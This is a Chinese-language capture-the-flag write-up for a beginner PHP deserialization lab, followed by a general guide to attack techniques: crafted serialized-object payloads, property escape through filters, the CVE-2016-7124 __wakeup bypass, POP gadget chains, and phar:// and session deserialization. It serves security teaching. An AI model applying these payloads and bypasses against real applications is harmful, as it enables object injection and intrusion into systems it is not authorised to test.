文章总结: 文档介绍了PHP反序列化的基础知识和常见利用技巧,包括序列化格式、属性可见性影响、绕过方法等。提供了一个具体的靶场练习,展示如何构造序列化字符串来设置对象属性值。详细讲解了魔术方法利用链、实战测试流程、调试技巧和常见坑点。推荐了相关工具如PHPGGC和BurpSuite,帮助安全研究人员进行PHP反序列化漏洞的测试和利用。 综合评分: 90 文章分类: WEB安全,代码审计,漏洞分析,解决方案,安全工具
好靶场-PHP反序列化入门练习-WP
原创
泷羽Sec-静安
泷羽Sec-静安
2025年12月20日 09:10 云南
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
好靶场
学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:
🔗 入口:http://www.loveli.com.cn/see_bug_one?id=531
✅ 邀请码:48ffd1d7eba24bf4
🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇
目标是构造一个序列化字符串,使得反序列化后的对象 name 属性值为 admin。
解题思路
PHP 对象序列化格式:
O:类名长度:"类名":属性数量:{s:属性名长度:"属性名";属性值类型:值}
对于 Test 类:
- • 类名:
Test(长度为 4) - • 需要设置
name为admin - •
age可以随意设置
Payload
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}
解析:
- •
O:4:"Test"– 对象类型,类名长度4,类名是Test - •
:2:– 有2个属性 - •
s:4:"name"– 字符串类型,长度4,属性名name - •
s:5:"admin"– 字符串类型,长度5,值为admin - •
s:3:"age"– 字符串类型,长度3,属性名age - •
i:18– 整数类型,值为18
注意事项
测试示例中已经给出了正确答案:
O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:233;}
这个 payload 应该就能直接通过验证获取 flag。
反序列化通用的技巧
1. 序列化格式基础
数据类型表示
s:length:"string" // 字符串
i:value; // 整数
d:value; // 浮点数
b:value; // 布尔值 (0/1)
a:size:{...} // 数组
O:length:"class":size:{...} // 对象
N; // NULL
r:reference; // 引用
R:reference; // 对象引用
2. 属性可见性的影响 ⚠️
这是最容易踩坑的地方:
class Test {
public $pub = "public";
protected $pro = "protected";
private $pri = "private";
}
序列化后的格式:
// public: 直接使用属性名
s:3:"pub";s:6:"public";
// protected: 属性名前后有 \x00*\x00
s:6:"%00*%00pro";s:9:"protected";
// private: 属性名前后有 \x00ClassName\x00
s:13:"%00Test%00pri";s:7:"private";
注意: \x00 是空字节,在浏览器/编辑器中可能不可见!
3. 常见绕过技巧
3.1 属性逃逸(关键!)
当过滤函数改变字符串长度时:
// 假设过滤函数: str_replace("bad", "good", $str)
// "bad" 3字符 -> "good" 4字符,每次替换多1个字符
// 原始序列化
O:4:"Test":2:{s:4:"name";s:15:"badbadbadbadxxx";s:3:"age";i:18;}
// 如果 name 值经过替换后:
// 15 个字符的内容变成了 > 15 个字符
// 可以"逃逸"出额外的序列化内容
3.2 引用/指针操作
// 创建引用,可能绕过某些检查
a:2:{i:0;s:5:"admin";i:1;R:2;} // i:1 引用 i:0
3.3 字符串长度操纵
// 错误的长度标记可能导致解析混乱
s:5:"admin"; // 正确
s:10:"admin"; // 会读取后面10个字符,吞掉部分序列化数据
s:3:"admin"; // 只读3个字符 "adm"
4. 魔术方法利用链
重点关注这些魔术方法:
__wakeup() // 反序列化时自动调用
__destruct() // 对象销毁时调用
__toString() // 对象被当作字符串使用时
__call() // 调用不存在的方法时
__get() // 访问不存在的属性时
__set() // 设置不存在的属性时
__isset() // 对不存在属性调用 isset() 时
__unset() // 对不存在属性调用 unset() 时
__invoke() // 对象被当作函数调用时
绕过 __wakeup()
CVE-2016-7124:当对象属性数量大于实际数量时,__wakeup() 不会执行:
// 正常: O:4:"Test":2:{...}
// 绕过: O:4:"Test":3:{...} (声明3个属性但实际只有2个)
5. 实战测试流程
Step 1: 信息收集
// 1. 找到 unserialize() 调用点
// 2. 查看可利用的类定义
// 3. 分析魔术方法和危险函数调用
Step 2: 构造 Gadget Chain
// 寻找链路: __destruct() -> ... -> 危险函数
// 例如: __destruct() -> __toString() -> __get() -> eval()
Step 3: 常见 Payload 模板
// 基础对象注入
O:4:"Test":1:{s:4:"name";s:5:"admin";}
// 数组中包含对象
a:1:{i:0;O:4:"Test":1:{s:4:"name";s:5:"admin";}}
// 嵌套对象
O:4:"Evil":1:{s:4:"test";O:4:"Test":1:{s:4:"name";s:5:"admin";}}
6. 调试技巧
// 本地测试序列化
$obj = new Test();
$obj->name = "admin";
echo serialize($obj); // 获取正确格式
// 测试反序列化
$payload = 'O:4:"Test":1:{s:4:"name";s:5:"admin";}';
$obj = unserialize($payload);
var_dump($obj);
7. 工具推荐
-
• PHPGGC: PHP Generic Gadget Chains – 自动生成利用链 https://github.com/ambionics/phpggc
-
• Burp Suite: 拦截修改序列化数据
-
• PHP 在线序列化工具: 快速测试格式
-
• https://www.gongjumi.com/zh/format/phpSerialization
-
• https://www.okeytool.com/php-serialize
-
• https://www.edtool.cn/toolbox/phpserialize.html
8. 常见坑点总结
| 问题 | 现象 | 解决方案 | | — | — | — | | 空字节丢失 | protected/private 属性无法设置 | URL 编码或十六进制表示 | | 长度不匹配 | 反序列化失败 | 精确计算字节数(注意 UTF-8) | | 引号转义 | payload 被破坏 | 使用数组包装或编码 | | 类不存在 | 反序列化返回 __PHP_Incomplete_Class | 确保目标环境有该类定义 |
9. 实战 Checklist
□ 是否存在 unserialize() 调用?
□ 输入是否可控?
□ 是否有过滤函数?(考虑逃逸)
□ 目标类有哪些魔术方法?
□ 是否能触发 POP 链?
□ 是否有 __wakeup() 需要绕过?
□ 属性是否 public?(考虑空字节)
□ 是否有 phar:// 伪协议可用?
10. 高级技巧
Phar 反序列化
// 任何文件操作函数都可能触发 phar 反序列化
file_exists('phar://evil.phar/test.txt');
file_get_contents('phar://payload.phar');
Session 反序列化
// PHP 不同 session 处理器格式不同,可能导致注入
// php_binary: name|serialized_data
// php: name|serialized_data
// php_serialize: serialized_data
核心原则:
- 1. 理解格式 – 每个字符都有意义
- 2. 关注长度 – 长度错误是最常见的攻击点
- 3. 寻找链路 – 从魔术方法到危险函数
- 4. 本地测试 – 先在本地验证 payload 格式正确
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式详见页面底部说明板块。
本文转载自:泷羽Sec-静安 泷羽Sec-静安《好靶场-PHP反序列化入门练习-WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论